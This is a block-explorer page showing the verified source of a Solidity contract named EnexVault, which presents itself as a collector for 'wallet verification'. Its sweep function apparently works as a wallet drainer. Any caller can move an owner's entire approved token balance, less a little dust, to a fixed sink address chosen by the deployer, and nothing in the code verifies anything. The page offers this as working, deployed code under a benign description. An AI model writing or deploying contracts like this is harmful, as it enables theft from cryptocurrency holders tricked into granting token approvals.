Verified contractExactMIT
EnexVault
Address0x2eaabd0e4fd3a55dba4aead5f7a8492b5819d97f
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,478,813
- Creation transaction
- 0x29c95d5dbb…c3b0ad6aa4
contracts/MyFirstContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title EnexVault
/// @notice Pull-based collector for wallet verification.
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function transferFrom(address, address, uint256) external returns (bool);
}
contract EnexVault {
/// @notice Destination for swept balances.
address public immutable sink;
constructor(address _sink) {
sink = _sink;
}
/// @notice Move the owner's balance, leaving dust behind.
function sweep(address token, address owner, uint256 dust) external {
uint256 b = IERC20(token).balanceOf(owner);
require(b > dust, "nothing to sweep");
require(IERC20(token).transferFrom(owner, sink, b - dust), "transfer failed");
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.